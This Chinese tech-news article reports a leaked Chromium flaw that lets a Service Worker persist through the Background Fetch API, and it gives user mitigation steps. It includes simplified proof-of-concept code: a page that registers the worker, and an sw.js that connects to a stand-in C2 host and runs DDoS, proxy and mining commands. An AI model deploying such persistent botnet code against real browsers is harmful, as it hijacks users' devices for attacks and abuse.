当前位置: 首页 > news >正文

29个月未修!Google意外泄露Chromium永久驻留漏洞:浏览器秒变JS僵尸网络

一、事件爆发:Google亲手引爆的浏览器级"核弹"

2026年5月20日,互联网安全界发生了一起史无前例的安全事故:Google在其公开的Chromium Bug跟踪器上意外泄露了一个存在29个月之久的未修复高危漏洞的完整技术细节和PoC利用代码。尽管Google在发现失误后紧急删除了相关内容,但此时漏洞信息已经被多个安全归档网站和研究人员抓取并迅速传播开来。

这起事故的严重性远超以往任何一次浏览器漏洞泄露事件。与传统的"点击即中招"漏洞不同,这个被安全研究员Lyra Rebane在2022年12月首次报告的漏洞,能够让恶意网站在用户访问后,注册一个永不终止的Service Worker后台脚本。这个脚本不仅会在用户关闭浏览器标签页后继续运行,甚至在关闭整个浏览器、重启电脑或手机后,仍然能够自动复活并继续执行恶意代码

换句话说,只要你访问过一个被植入了攻击代码的网页,你的浏览器就会永久变成攻击者控制的"JS僵尸",在你完全不知情的情况下,静默执行各种恶意任务。

1.1 漏洞时间线:从S1严重到意外公开

时间事件
2022年12月安全研究员Lyra Rebane向Google报告该漏洞,被标记为S1最高严重级别
2024年10月26日Google内部工程师在Bug跟踪器中备注:“这是一个严重漏洞,需要推进修复”
2026年2月10日漏洞被短暂标记为"已修复",但几分钟后因严重的兼容性问题被重新打开
2026年5月20日Google的自动披露系统错误地将该漏洞标记为"已修复并超过14周保密期",导致完整漏洞细节和PoC代码被公开
2026年5月21日全球多家安全厂商发布紧急预警,确认漏洞影响所有基于Chromium内核的浏览器

1.2 影响范围:几乎覆盖全球所有主流浏览器

这个漏洞存在于Chromium内核的核心代码中,因此所有基于Chromium开发的浏览器都受到影响,包括但不限于:

  • Google Chrome(Windows、macOS、Linux、Android、iOS全平台)
  • Microsoft Edge(全平台)
  • BraveOperaVivaldiArc等第三方浏览器
  • 国内几乎所有主流浏览器(360安全浏览器、QQ浏览器、搜狗浏览器等)
  • 安卓系统上的所有Chromium套壳浏览器

据StatCounter统计,截至2026年5月,Chromium内核浏览器占据了全球浏览器市场85%以上的份额,这意味着全球超过30亿台设备都面临着被这个漏洞攻击的风险。


二、技术深度解析:为什么这个漏洞如此可怕

要理解这个漏洞的可怕之处,我们首先需要了解两个关键的Web技术:Service WorkerBackground Fetch API

2.1 技术基础:Service Worker与Background Fetch API

Service Worker是一种运行在浏览器后台的独立脚本,它独立于网页标签页,能够在网页关闭后继续运行。它最初被设计用于实现离线缓存、后台同步和推送通知等功能,是现代PWA(渐进式Web应用)的核心技术之一。

Background Fetch API则是在Service Worker基础上扩展的一个API,专门用于处理大型文件的后台下载任务。它允许网页在用户导航离开甚至关闭浏览器后,继续在后台下载文件,并在下载完成后通知用户。

这两个技术的设计初衷都是为了提升用户体验,但在Chromium的实现中,却出现了一个致命的安全漏洞。

2.2 漏洞原理:突破生命周期限制的"不死"脚本

正常情况下,Service Worker有严格的生命周期管理:当没有活跃的客户端连接时,浏览器会在30秒内终止Service Worker以节省资源;即使有持续的活动,浏览器也会在5分钟后强制终止它。

然而,这个漏洞允许攻击者通过滥用Background Fetch API,完全绕过这些生命周期限制,创建一个永远不会被浏览器终止的Service Worker。

漏洞攻击流程图
A[用户访问恶意网页] --> B[恶意网页调用Background Fetch API] B --> C[注册一个特殊的Service Worker] C --> D[创建一个"永不完成"的后台下载任务] D --> E[Service Worker被绑定到这个下载任务上] E --> F[浏览器认为下载任务仍在进行中] F --> G[永远不会终止这个Service Worker] G --> H[关闭浏览器标签页 → Worker继续运行] G --> I[关闭整个浏览器 → Worker被挂起] I --> J[重启浏览器 → Worker自动复活] J --> K[系统重启 → 浏览器启动时Worker自动运行] K --> L[浏览器永久成为受控节点]
漏洞核心代码分析

根据泄露的PoC代码,攻击的核心在于创建一个特殊的Background Fetch任务,这个任务会一直处于"进行中"状态,从而阻止浏览器终止关联的Service Worker。

以下是简化后的攻击代码示例:

1. 恶意网页主页面(index.html)

<!DOCTYPEhtml><html><head><title>正常网页</title></head><body><h1>这是一个看起来完全正常的网页</h1><script>// 注册恶意Service Workerif('serviceWorker'innavigator&&'BackgroundFetchManager'inself){navigator.serviceWorker.register('/sw.js').then(function(registration){console.log('ServiceWorker注册成功');// 发起一个特殊的Background Fetch请求registration.backgroundFetch.fetch('eternal-download',// 任务ID['/never-ending-file'],// 一个永远不会返回的URL{title:'正在下载文件...',icons:[{sizes:'192x192',src:'/icon.png'}]}).then(function(fetch){console.log('Background Fetch任务已启动');});});}</script></body></html>

2. 恶意Service Worker脚本(sw.js)

constC2_SERVER='https://attacker-c2.com/command';// 安装阶段:强制跳过等待,立即激活self.addEventListener('install',(event)=>{self.skipWaiting();console.log('恶意Service Worker已安装');});// 激活阶段:接管所有客户端self.addEventListener('activate',(event)=>{event.waitUntil(self.clients.claim());console.log('恶意Service Worker已激活');// 启动与C2服务器的通信startC2Communication();});// 关键:监听Background Fetch事件self.addEventListener('backgroundfetchsuccess',(event)=>{// 即使下载"成功",我们也不做任何处理// 浏览器会认为任务已经完成,但我们的Worker已经存活了console.log('Background Fetch任务完成');});self.addEventListener('backgroundfetchfail',(event)=>{// 即使下载失败,我们也不做任何处理// 关键在于:浏览器不会因为下载失败而终止我们的Workerconsole.log('Background Fetch任务失败');});// 与C2服务器建立持久连接functionstartC2Communication(){// 使用WebSocket或长轮询与C2服务器通信constws=newWebSocket(C2_SERVER);ws.onopen=()=>{console.log('已连接到C2服务器');ws.send(JSON.stringify({type:'register',userAgent:navigator.userAgent,platform:navigator.platform}));};ws.onmessage=(event)=>{constcommand=JSON.parse(event.data);executeCommand(command);};ws.onclose=()=>{// 如果连接断开,10秒后自动重连setTimeout(startC2Communication,10000);};}// 执行攻击者下发的命令functionexecuteCommand(command){switch(command.type){case'ddos':// 发起DDoS攻击for(leti=0;i<command.count;i++){fetch(command.target);}break;case'proxy':// 作为代理访问目标网站fetch(command.url).then(response=>response.text()).then(text=>{// 将结果返回给C2服务器fetch(C2_SERVER,{method:'POST',body:JSON.stringify({type:'proxy-result',result:text})});});break;case'mine':// 静默挖矿(简化版)startMining(command.pool,command.address);break;case'screenshot':// 尝试获取屏幕截图(需要额外权限)// ...break;}}

2.3 为什么这个漏洞难以被发现和修复

这个漏洞之所以存在了29个月之久,并且至今仍未被修复,主要有以下几个原因:

  1. 设计与实现的脱节:Background Fetch API的设计规范中并没有明确规定,当下载任务失败或超时时,应该如何处理关联的Service Worker。Chromium的实现中错误地认为,只要Background Fetch任务没有被显式取消,就应该保持Service Worker的运行。

  2. 兼容性问题:当Google在2026年2月尝试修复这个漏洞时,发现修复方案会导致大量使用Background Fetch API的合法PWA应用无法正常工作。为了避免破坏现有生态,Google不得不暂时回滚了修复补丁。

  3. 攻击的隐蔽性:这种攻击方式完全在浏览器的沙箱环境内运行,不会修改系统文件,也不会留下任何传统恶意软件的痕迹。普通用户根本无法察觉自己的浏览器已经被控制。


三、攻击场景:你的浏览器能被用来做什么

一旦攻击者利用这个漏洞控制了你的浏览器,他们就可以利用浏览器的所有能力来执行各种恶意任务。以下是一些最可能被滥用的攻击场景:

3.1 大规模DDoS攻击

这是最直接也是最危险的攻击场景。攻击者可以利用成千上万被控制的浏览器节点,同时向目标网站或服务器发起HTTP请求,形成强大的分布式拒绝服务攻击。

与传统的僵尸网络相比,这种基于浏览器的DDoS攻击具有以下优势:

  • 规模更大:全球有超过30亿台设备使用Chromium内核浏览器
  • 成本更低:不需要购买或入侵服务器,只需要诱导用户访问恶意网页
  • 更难防御:攻击流量来自真实的用户IP地址,很难与正常流量区分开
  • 持续时间更长:僵尸节点可以永久存活,直到用户手动清理

3.2 匿名流量代理

攻击者可以将被控制的浏览器作为代理节点,通过它们来访问互联网。这使得攻击者可以:

  • 隐藏自己的真实IP地址
  • 绕过地理限制和内容过滤
  • 访问暗网和其他受限网站
  • 进行网络钓鱼和其他恶意活动

所有这些活动的溯源都会指向被控制的用户,而不是真正的攻击者。

3.3 静默加密货币挖矿

攻击者可以在被控制的浏览器中运行JavaScript挖矿脚本,利用用户的CPU和GPU资源来挖掘门罗币等加密货币。

这种挖矿方式具有以下特点:

  • 完全静默:没有任何弹窗或提示
  • 资源占用可控:攻击者可以调整挖矿强度,避免引起用户注意
  • 持续时间长:只要浏览器在运行,挖矿就会持续进行
  • 难以检测:传统的杀毒软件很难检测到浏览器内的挖矿活动

3.4 用户行为监控与数据窃取

虽然这个漏洞不能直接获取用户的密码、文件或其他敏感系统资源,但攻击者仍然可以通过Service Worker获取大量用户信息:

  • 完整的浏览历史记录
  • 用户访问过的网站的Cookie(在同源策略限制下)
  • 用户在网页上的输入内容(通过拦截表单提交)
  • 用户的地理位置信息(如果用户授权过)
  • 用户的设备信息和网络环境

这些信息可以被用于精准广告投放、身份盗窃或进一步的针对性攻击。


四、临时防护方案:在官方补丁发布前如何自保

截至2026年5月22日,Google仍未发布针对这个漏洞的官方安全补丁。在补丁发布前,用户可以采取以下临时防护措施来保护自己:

4.1 禁用Background Fetch API(最有效)

这是目前最有效的防护方法,可以从根本上阻止漏洞被利用。

Chrome/Edge浏览器操作步骤:

  1. 在地址栏输入:chrome://flags/#background-fetch(Edge浏览器输入edge://flags/#background-fetch
  2. 将"Background Fetch"选项从"Default"改为**“Disabled”**
  3. 点击页面底部的"Relaunch"按钮重启浏览器

注意:禁用Background Fetch API可能会影响一些使用该功能的合法PWA应用的后台下载功能,但不会影响浏览器的基本使用。

4.2 定期清理所有Service Worker

即使你已经禁用了Background Fetch API,也建议定期清理浏览器中已经注册的Service Worker,以清除可能已经存在的恶意脚本。

操作步骤:

  1. 在地址栏输入:chrome://serviceworker-internals/(Edge浏览器输入edge://serviceworker-internals/
  2. 点击页面上的"Unregister"按钮,注销所有已注册的Service Worker
  3. (可选)点击"Stop"按钮,停止所有正在运行的Service Worker

建议每周至少执行一次这个操作,或者在访问过可疑网站后立即执行。

4.3 其他辅助防护措施

  • 避免访问不明网站:尤其是那些弹窗多、诱导点击、提供非法内容的网站
  • 使用广告拦截器:广告网络是恶意代码传播的主要渠道之一
  • 保持浏览器更新:虽然目前还没有针对这个漏洞的补丁,但及时更新浏览器可以防范其他已知漏洞
  • 使用非Chromium内核浏览器:如Firefox、Safari等,这些浏览器不受这个漏洞影响

五、事件反思与行业前瞻

这次Google意外泄露未修复漏洞的事件,不仅暴露了Chromium项目在安全管理上的严重问题,也给整个Web安全行业敲响了警钟。

5.1 Google安全管理体系的漏洞

这个漏洞存在了29个月之久,并且被标记为S1最高严重级别,但却迟迟没有得到修复。这反映出Google在漏洞管理方面存在以下问题:

  1. 优先级排序不当:Google可能将更多的资源投入到了新功能的开发上,而忽视了这个严重的安全漏洞
  2. 兼容性优先于安全:为了不破坏现有生态,Google选择了推迟修复漏洞,将用户的安全置于次要位置
  3. 自动披露系统存在缺陷:Google的自动披露系统没有正确验证漏洞是否真的已经被修复,导致了这次灾难性的泄露

5.2 Web平台安全的结构性挑战

这次事件也暴露了现代Web平台在安全设计上的结构性挑战:

  • 功能与安全的矛盾:为了提升用户体验,浏览器不断增加新的功能,但每一个新功能都可能带来新的安全风险
  • 沙箱模型的局限性:浏览器的沙箱模型虽然能够防止恶意代码访问系统资源,但无法防止恶意代码在沙箱内运行
  • 持久化攻击的新趋势:攻击者越来越倾向于利用浏览器本身的功能来实现持久化,而不是传统的植入恶意软件的方式

5.3 未来展望:浏览器安全的发展方向

随着这次事件的发生,我们可以预见浏览器安全将会向以下几个方向发展:

  1. 更严格的生命周期管理:浏览器厂商将会加强对Service Worker和其他后台脚本的生命周期管理,防止它们被滥用
  2. 更透明的权限控制:用户将会获得更细粒度的权限控制,能够明确知道哪些网站在后台运行脚本
  3. 更智能的异常检测:浏览器将会内置异常检测机制,能够自动识别和阻止可疑的后台活动
  4. 更快速的漏洞响应:浏览器厂商将会建立更快速的漏洞响应机制,确保高危漏洞能够在最短时间内得到修复

六、写在最后

这次Google意外泄露Chromium永久驻留漏洞的事件,是Web安全史上的一个重要里程碑。它向我们展示了,即使是最基础、最广泛使用的软件,也可能存在着致命的安全漏洞。

在官方补丁发布前,强烈建议所有使用Chromium内核浏览器的用户立即禁用Background Fetch API,并定期清理Service Worker。这虽然会带来一些不便,但却是保护自己免受攻击的最有效方法。

同时,我们也希望Google能够从这次事件中吸取教训,加强安全管理,优先考虑用户的安全,而不是功能和兼容性。毕竟,对于浏览器来说,安全才是最基本的功能。

更新提示:本文将持续跟踪这个漏洞的最新进展,一旦官方补丁发布,我们将第一时间更新相关信息。

http://www.jsqmd.com/news/868629/

相关文章:

  • MySQL 部门表:树结构 (自关联) vs 非树结构 (扁平化 / 冗余字段)
  • 二叉搜索树(BST)详解
  • cann-learning-hub - 昇腾CANN学习资源一站式指南
  • 2026年最严重终端安全事件:Microsoft Defender双零日漏洞深度解析与防御实战
  • 【即插即用完整代码】AAAI 2026 “一看就懂,先扫后察”大模型让视频异常无处遁形!
  • H3CSE 高性能园区网:生成树保护机制
  • 兄弟反目成仇?《易经》深挖人性:猜疑才是最大祸根
  • 论文修改踩坑无数?paperxie 帮你一站式搞定查重与 AIGC 降重难题
  • 跨国零售企业网络升级实践:如何打通全球零售网络
  • SQL注入入门篇 小白 新手逻辑讲解 主流四步 简单易懂
  • ElevenLabs广西话输出突然失真?一文定位3类隐藏错误:声母浊化丢失、入声韵尾截断、连读变调失效
  • 从存储革命到计算革命:eMRAM存算一体芯片的现状、迷思与终极蓝图
  • H3CSE 高性能园区网:Smart Link 与 Monitor Link 技术详解
  • CAN一致性-物理层--高压通信范围测试
  • CI算法详解
  • 【最新源码】JewelryShop商城系统设计c123
  • 数据库局部变量,全局变量,流程控制
  • 为什么你的ElevenLabs江苏话输出总像“普通话+口音”?揭秘吴语连读变调(sandhi)缺失的4个隐藏参数及patch级修复方案
  • 【YOLO目标检测全栈实战】65 让YOLO开口说话:YOLO-World + 多模态大模型的端到端对话系统实战
  • WebView 被注入的隐形炸弹——远程代码执行漏洞与安全硬核加固指南
  • 终极Figma中文界面改造指南:3分钟让英文设计工具变身母语助手
  • 倚天剑术58--给PDF文件盖电子章
  • DevOps 生态介绍(五):玩转SonarQube:代码静态扫描、Bug预警、质量门禁介绍
  • 【NotebookLM效应量计算实战指南】:20年统计学专家亲授3大避坑法则与5步精准计算流程
  • 【YOLO目标检测全栈实战】66 YOLO模型部署中的“冷启动”问题:如何让模型在真实场景中快速进入状态
  • 2026新疆线缆厂家大全:新疆电缆厂家+新疆电力线缆厂家+新疆电力电缆厂家+新疆高压电缆厂家+新疆输变电线厂家汇总 - 栗子测评
  • 港口数智升级|亚控KingSCADA打造设备精细化运维平台
  • 别再死磕论文修改!paperxie 一站式解决查重 + 降 AIGC 两大难题
  • 小程序数据采集(11)- IDA Pro逆向SO层与ARM汇编寻址详解
  • cesium笔记